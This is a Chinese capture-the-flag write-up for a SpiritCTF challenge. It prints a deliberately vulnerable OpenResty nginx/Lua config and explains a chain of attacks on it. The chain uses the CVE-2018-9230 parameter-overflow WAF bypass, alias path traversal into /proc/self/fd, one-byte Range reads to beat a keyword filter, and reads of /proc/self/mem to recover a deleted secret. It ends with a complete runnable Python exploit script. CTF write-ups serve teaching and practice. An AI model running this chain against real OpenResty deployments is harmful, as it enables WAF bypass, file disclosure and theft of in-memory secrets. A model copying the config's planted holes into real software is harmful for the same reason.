本题来自JLU SpiritCTF热身赛(level4)
题目源码是nginx.config文件,考点是nginx下的lua库
worker_processes 1;
events {
use epoll;
worker_connections 10240;
}
http {
include mime.types;
default_type text/html;
access_log off;
error_log /dev/null;
sendfile on;
init_by_lua_block {
f = io.open("/flag", "r")
f2 = io.open("/password", "r")
flag = f:read("*all")
password = f2:read("*all")
f:close()
password = string.gsub(password, "[\n\r]", "")
os.remove("/flag")
os.remove("/password")
}
server {
listen 80 default_server;
location / {
content_by_lua_block {
ngx.say("hello, world!")
}
}
location /static {
alias /www/;
access_by_lua_block {
if ngx.var.remote_addr ~= "127.0.0.1" then
ngx.exit(403)
end
}
add_header Accept-Ranges bytes;
}
location /download {
access_by_lua_block {
local blacklist = {"%.", "/", ";", "flag", "proc"}
local args = ngx.req.get_uri_args()
for k, v in pairs(args) do
for _, b in ipairs(blacklist) do
if string.find(v, b) then
ngx.exit(403)
end
end
end
}
add_header Content-Disposition "attachment; filename=download.txt";
proxy_pass http://127.0.0.1/static$arg_filename;
body_filter_by_lua_block {
local blacklist = {"flag", "spirit", "ctf", "game", "password", "secret", "confidential"}
for _, b in ipairs(blacklist) do
if string.find(ngx.arg[1], b) then
ngx.arg[1] = string.rep("*", string.len(ngx.arg[1]))
end
end
}
}
location /read_anywhere {
access_by_lua_block {
if ngx.var.http_x_gateway_password ~= password then
ngx.say("go find the password first!")
ngx.exit(403)
end
}
content_by_lua_block {
local f = io.open(ngx.var.http_x_gateway_filename, "r")
if not f then
ngx.exit(404)
end
local start = tonumber(ngx.var.http_x_gateway_start) or 0
local length = tonumber(ngx.var.http_x_gateway_length) or 1024
if length > 1024 * 1024 then
length = 1024 * 1024
end
f:seek("set", start)
local content = f:read(length)
f:close()
ngx.say(content)
ngx.header["Content-Type"] = "application/octet-stream"
}
}
}
}
通过审计环境与目标快照,可以知道配置文件中init_by_lua_block 在启动时读取 /flag 与 /password,保存到全局变量 flag、password;之后删除这两个文件。只关闭了 /flag 的句柄,/password 的文件句柄未关闭。
对各个路由的分析:
/static 路由:/alias /www/,仅允许 127.0.0.1 访问,返回头有 Accept-Ranges: bytes(可按 Range 断点续传/分段读取)。
/download 路由:access_by_lua_block 用 ngx.req.get_uri_args 对“参数值”做黑名单过滤(包含 . / ; flag proc 等),匹配则 403。proxy_pass 到 http://127.0.0.1/static$arg_filename(将 $arg_filename 拼到 /static 后面转发)。body_filter_by_lua_block 会把响应体中出现的敏感词(如 flag、password、spirit、ctf、game 等)替换成等长的星号。
/read_anywhere 路由:通过请求头 x-gateway-password 验证口令(与 init 读入的 password 比较)。允许用 x-gateway-filename 指定任意文件、x-gateway-start 指定偏移、x-gateway-length 指定读取长度(最大 1MB),直接读文件后输出。
通过分析可以获得解题大致思路:由于/password句柄未关闭,所以进程依然占着一个指向原 inode 的 fd, 就可以通过举 /proc/self/fd/{id} 读出 password 内容。有了 password 后,打通 /read_anywhere,先读 /proc/self/maps 找可读可写的匿名或已删除映射区,再用 /proc/self/mem + 偏移读进程内存,搜出内存中的 flag。
在获得password,和正则匹配flag字段时源码存在WAF使得我们不能拿到。通过查询,发现了OpenResty uri参数溢出漏洞(CVE-2018-9230)(漏洞简介:OpenResty 通过ngx.req.get_uri_args、ngx.req.get_post_args获取参数,只能获取到前100个参数,当提交第101个参数时,uri参数溢出,无法正确获取到第101个及以后的参数,无法对攻击者提交的攻击语句进行安全检测,导致基于ngx_lua开发的安全防护可被绕过,影响多款基于OpenResty的开源WAF。)
基于cve可以:
1./download 路由利用“100 个 dummy 参数 + 第 101 个为 filename”的技巧绕过参数审计。
2.借助“../”穿越 alias,把 /download 代理请求打进同机 /static,并落到 /proc/self/fd/n 上。
3.利用 Range 头分 1 字节读取,绕过 body_filter 的敏感词替换,从 /proc/self/fd/n 枚举读取 password。
4.用拿到的 password 请求 /read_anywhere,先读 /proc/self/maps,定位可疑内存区。
5.再用 /read_anywhere 读取 /proc/self/mem 指定偏移的原始内存数据,搜索 flag 格式串并取出。
步骤1:确认参数溢出点与黑名单逻辑
现象与原理:
/download 的 access_by_lua_block 对 args 逐个 value 检查是否包含 “.”, “/”, “;”, “flag”, “proc” 等,一旦命中就 403
通过构造 100 个无害参数 x0=0&x1=0&…&x99=0,再把真正的 filename 放在第 101 个位置,filename 不会出现在 args 表里,自然不会被黑名单拦住。但是 $arg_filename 变量在 Nginx 阶段仍可取到真实值,被拼进 proxy_pass 的目标 URI。
步骤2:借助 alias 拼接与 127.0.0.1 绕过 /static 的访问限制关键点:
proxy_pass 到 http://127.0.0.1/static$arg_filename,意味着后端路径形如 /static../proc/self/fd/3。
Nginx 前缀匹配会命中 location /static,alias /www/ 会把“/static”之后的部分当作文件相对路径拼到 /www/ 后面。形如 /www/../proc/self/fd/3,即目录穿越到 /proc/self/fd/3。
因为是 Nginx 自己转发给 127.0.0.1,/static 的 access_by_lua_block 只允许 127.0.0.1 的限制就被满足了。
步骤3:用 Range 头一字节一字节读取,绕过响应体过滤,枚举 fd 拿到 password原理:
/download 的 body_filter 会对响应体中出现的单词“flag, spirit, ctf, game, password, secret, confidential”进行替换。
若每次只请求 1 字节(Range: bytes=n-n),则任意多字符关键字都无法被一次性匹配,自然不会被替换,得到真实字节。
步骤4:用拿到的 password 打开 /read_anywhere 通道,读取 /proc/self/maps
/read_anywhere 请求格式:
必须携带请求头 x-gateway-password: {你拿到的 password}
用 x-gateway-filename 指定目标文件路径
x-gateway-start 指定偏移(十进制)
x-gateway-length 指定读取长度(最大 1048576)
注:先读映射表 /proc/self/maps,推荐 length 够大一些(例如 65536 或 131072)
maps 中我们重点关注:
1.perms 含 rw 的映射区(可读可写)
2.pathname 为空或带“(deleted)”的区域(匿名/被删文件,最可能包含运行期变量,比如 flag 字符串)
解析出这些候选区间(把起止地址取出来)
步骤5:按候选区间去 /proc/self/mem(这里涉及Linux的/proc/self,理论详见 https://www.tutusec.com/2672.html) 读取原始内存,搜索 flag
用 /read_anywhere 读取 /proc/self/mem 指定范围的字节;一次最长 1MB,区间太大就分段读取。
搜索 flag 的正则(本题正则匹配SpiritCTF)
本题一键EXP:
import argparse
import itertools
import re
import sys
import time
import urllib.parse as u
import requests
DEFAULT_PATTERNS = [
rb"SpiritCTF{[^}\n\r]{0,200}}", # 题面示例
rb"[Ff]lag{[^}\n\r]{0,200}}", # 通用
rb"[A-Za-z0-9_]{0,20}CTF{[^}\n\r]{0,200}}", # 兜底:XXXCTF{...}
]
RANGE_STEP = 1 # /download Range 步长,字节
READ_ANY_MAX = 1024 * 1024 # /read_anywhere 最大读取 1MB
MAPS_READ_LEN = 256 * 1024 # 初次读取 /proc/self/maps 的长度
FD_ENUM_START = 3
FD_ENUM_END = 64
TIMEOUT = 8.0
def build_qs_with_dummy(filename):
# 100 个 dummy 参数 + 第 101 个参数 filename,绕过 ngx.req.get_uri_args 的 100 限制
qs = '&'.join(f'x{i}=0' for i in range(100))
qs += '&filename=' + u.quote(filename, safe='/')
return qs
def dl_fetch_byte(session, base, inner_path, off):
# 通过 /download 以 Range: bytes=off-off 返回 1 字节
url = f"{base.rstrip('/')}/download?{build_qs_with_dummy(inner_path)}"
headers = {'Range': f'bytes={off}-{off+RANGE_STEP-1}'}
try:
r = session.get(url, headers=headers, timeout=TIMEOUT, allow_redirects=False)
return r.status_code, r.content
except requests.RequestException:
return 0, b''
def dl_read_small_text(session, base, inner_path, limit=128, verbose=False):
# 从 inner_path 逐字节读取(最多 limit 字节),遇到换行/空/异常则停止
code, b0 = dl_fetch_byte(session, base, inner_path, 0)
if code != 206 or not b0 or b0 == b'':
return ''
out = b'' if b0 in (b'\n', b'\r') else b0
for i in range(1, limit):
if verbose:
sys.stdout.write(f"\r[.] reading: {out.decode(errors='ignore')}")
sys.stdout.flush()
code, bi = dl_fetch_byte(session, base, inner_path, i)
if code != 206 or not bi or bi == b'' or bi in (b'\n', b'\r'):
break
out += bi
if verbose:
sys.stdout.write("\n")
return out.decode(errors='ignore')
def find_password_via_fd(session, base, fd_start=FD_ENUM_START, fd_end=FD_ENUM_END, probe_limit=128):
# 枚举 /proc/self/fd/{n},逐个尝试读取少量文本,直到读到"像 password 的字符串"
# 经验上 password 通常是可打印 ASCII,无换行
for n in range(fd_start, fd_end):
inner_path = f"../proc/self/fd/{n}"
print(f"[*] probing fd={n} via {inner_path}")
s = dl_read_small_text(session, base, inner_path, limit=probe_limit, verbose=True)
# 粗略过滤:长度>3、都是可打印字符、无空白
if s and len(s) >= 4 and all(32 <= ord(ch) < 127 for ch in s) and not any(c.isspace() for c in s):
print(f"[+] candidate from fd={n}: {s}")
# 简单校验:拿这个 password 去请求 /read_anywhere 的 /proc/self/maps,看是否 200/有内容
ok = try_password(session, base, s)
if ok:
print(f"[+] password confirmed from fd={n}")
return s
else:
print(f"[-] fd={n} candidate rejected by /read_anywhere")
return ''
def try_password(session, base, pwd):
# 用 pwd 读 /proc/self/maps 前 64K 验证
headers = {
'x-gateway-password': pwd,
'x-gateway-filename': '/proc/self/maps',
'x-gateway-start': '0',
'x-gateway-length': str(64 * 1024)
}
url = f"{base.rstrip('/')}/read_anywhere"
try:
r = session.get(url, headers=headers, timeout=TIMEOUT)
return (r.status_code == 200) and (len(r.content) > 0) and (b'go find the password first!' not in r.content)
except requests.RequestException:
return False
def read_any(session, base, pwd, fname, start=0, length=READ_ANY_MAX):
headers = {
'x-gateway-password': pwd,
'x-gateway-filename': fname,
'x-gateway-start': str(start),
'x-gateway-length': str(min(length, READ_ANY_MAX)),
}
url = f"{base.rstrip('/')}/read_anywhere"
r = session.get(url, headers=headers, timeout=TIMEOUT)
if r.status_code != 200:
raise RuntimeError(f"read_any failed: HTTP {r.status_code}")
return r.content
def read_maps(session, base, pwd, length=MAPS_READ_LEN):
data = read_any(session, base, pwd, '/proc/self/maps', 0, length)
return data.decode(errors='ignore')
def parse_rw_candidate_ranges(maps_text):
# 选择 perms 以 "rw" 开头 且 (无路径 或 含 (deleted)) 的区
ranges = []
for line in maps_text.splitlines():
parts = line.split()
if len(parts) < 2:
continue
addr, perms = parts[0], parts[1]
path = parts[5] if len(parts) >= 6 else ''
if perms.startswith('rw') and (not path or '(deleted)' in path):
try:
start_s, end_s = addr.split('-')
start, end = int(start_s, 16), int(end_s, 16)
if end > start:
ranges.append((start, end))
except Exception:
continue
# 优先读较小/较前的段
ranges.sort(key=lambda x: (x[1] - x[0], x[0]))
return ranges
def search_flag_in_mem(session, base, pwd, ranges, patterns, chunk=READ_ANY_MAX, carry=4096):
# 在每个候选内存段里分块读 /proc/self/mem,并用多个 regex 搜索
cre_list = [re.compile(pat) for pat in patterns]
for (start, end) in ranges:
size = end - start
print(f"[*] scanning region {hex(start)}-{hex(end)} size={size//1024}KB")
off = start
prev_tail = b""
while off < end:
to_read = min(chunk, end - off)
data = read_any(session, base, pwd, '/proc/self/mem', off, to_read)
buf = prev_tail + data
for cre in cre_list:
m = cre.search(buf)
if m:
flag = m.group(0).decode(errors='ignore')
return flag
# 处理跨块匹配:保留尾巴
prev_tail = buf[-carry:] if len(buf) > carry else buf
off += to_read
return ''
def main():
ap = argparse.ArgumentParser(
description="OpenResty/ngx_lua CTF solver: get password via /download, then read flag from memory via /read_anywhere.")
ap.add_argument("--base", required=True, help="base URL, e.g., http://127.0.0.1:80")
ap.add_argument("--fd-start", type=int, default=FD_ENUM_START, help="fd enumeration start (default 3)")
ap.add_argument("--fd-end", type=int, default=FD_ENUM_END, help="fd enumeration end (default 64, exclusive)")
ap.add_argument("--flag-regex", action="append", help="add a custom regex for flag (bytes). Can repeat.")
ap.add_argument("--maps-len", type=int, default=MAPS_READ_LEN,
help="read length for /proc/self/maps (default 262144)")
ap.add_argument("--mem-chunk", type=int, default=READ_ANY_MAX,
help="chunk size when reading /proc/self/mem (<= 1048576)")
args = ap.parse_args()
base = args.base
patterns = [x.encode() for x in args.flag_regex] if args.flag_regex else DEFAULT_PATTERNS
with requests.Session() as s:
print("[*] stage1: extracting password via /download + Range + param overflow")
pwd = find_password_via_fd(s, base, fd_start=args.fd_start, fd_end=args.fd_end)
if not pwd:
print("[-] failed to obtain password from /proc/self/fd/* range", file=sys.stderr)
sys.exit(2)
print(f"[+] password = {pwd}")
print("[*] stage2: reading /proc/self/maps via /read_anywhere")
maps_text = read_maps(s, base, pwd, length=args.maps_len)
print("[*] maps (head):")
print("\n".join(maps_text.splitlines()[:10]))
cand = parse_rw_candidate_ranges(maps_text)
if not cand:
print("[-] no candidate rw mem ranges from maps", file=sys.stderr)
sys.exit(3)
print(f"[+] candidate rw ranges = {len(cand)}")
print("[*] stage3: scanning /proc/self/mem for flag")
flag = search_flag_in_mem(s, base, pwd, cand, patterns, chunk=min(args.mem_chunk, READ_ANY_MAX))
if not flag:
print(
"[-] flag not found. Consider increasing --maps-len, widening patterns with --flag-regex, or re-running.",
file=sys.stderr)
sys.exit(4)
print(f"[+] flag = {flag}")
if __name__ == "__main__":
main()
method:python solve.py –base ip:port
总结与思考:
- 为什么“参数溢出”能绕过 /download 的黑名单?
- ngx.req.get_uri_args 默认最多解析并返回前 100 个参数值。第 101 个以后在 Lua 层看不到,自然不参与黑名单匹配。但 Nginx 的 $arg_filename 是从原始查询串解析,不受这个 100 个的限制,仍能取到真实 filename 并拼进 proxy_pass。
- 为什么 Range=1 字节能绕过响应体的敏感词替换?
- body_filter_by_lua_block 的实现是对每个输出块(chunk)进行 string.find 检查。我们让后端基于 Range 只返回 1 字节,任何多字符单词都无法在一个单字节块中匹配,替换逻辑就不生效。
- 为什么能从 /proc/self/fd/ 读到 password?
- init 阶段打开了 /password 并赋值给变量 password,但没 f2:close() 就把文件删除了。进程仍持有该文件的打开 fd,可通过 /proc/self/fd/n 访问该 fd 指向的匿名 inode,从而读出原内容。
- 为什么要读 /proc/self/mem?
- /flag 文件在 init 后被删除,但其内容被保存在 Lua 变量 flag 中,依然驻留在进程内存里。通过 /proc/self/maps 定位可疑内存段,再用 /proc/self/mem 读出内存并搜索特征即可拿到 flag。
- 目录穿越为什么成立?
- proxy_pass 拼出 /static../proc/self/fd/3,这个请求会命中 location /static。alias /www/ 会把“/static”后面的部分拼接到 /www/ 后面,得到 /www/../proc/self/fd/3。由于没有额外的路径归一化限制,能穿出到 /proc/self/fd/。此时访问来源是 127.0.0.1(Nginx 自己),通过了 /static 的访问限制。
- 本题考查的是:
- OpenResty 参数溢出(CVE-2018-9230)导致的 WAF 绕过;
- 利用 Range 分片读取绕过响应体关键字替换;
- 文件句柄未关闭引发的 /proc/self/fd 泄露;
- 利用 /proc/self/maps 和 /proc/self/mem 从进程内存中还原被删除文件内容(flag)。
本题CVE-2018-9230,参考: https://github.com/Bypass007/vuln/blob/master/OpenResty/OpenResty%20uri参数溢出漏洞.md
暂无评论内容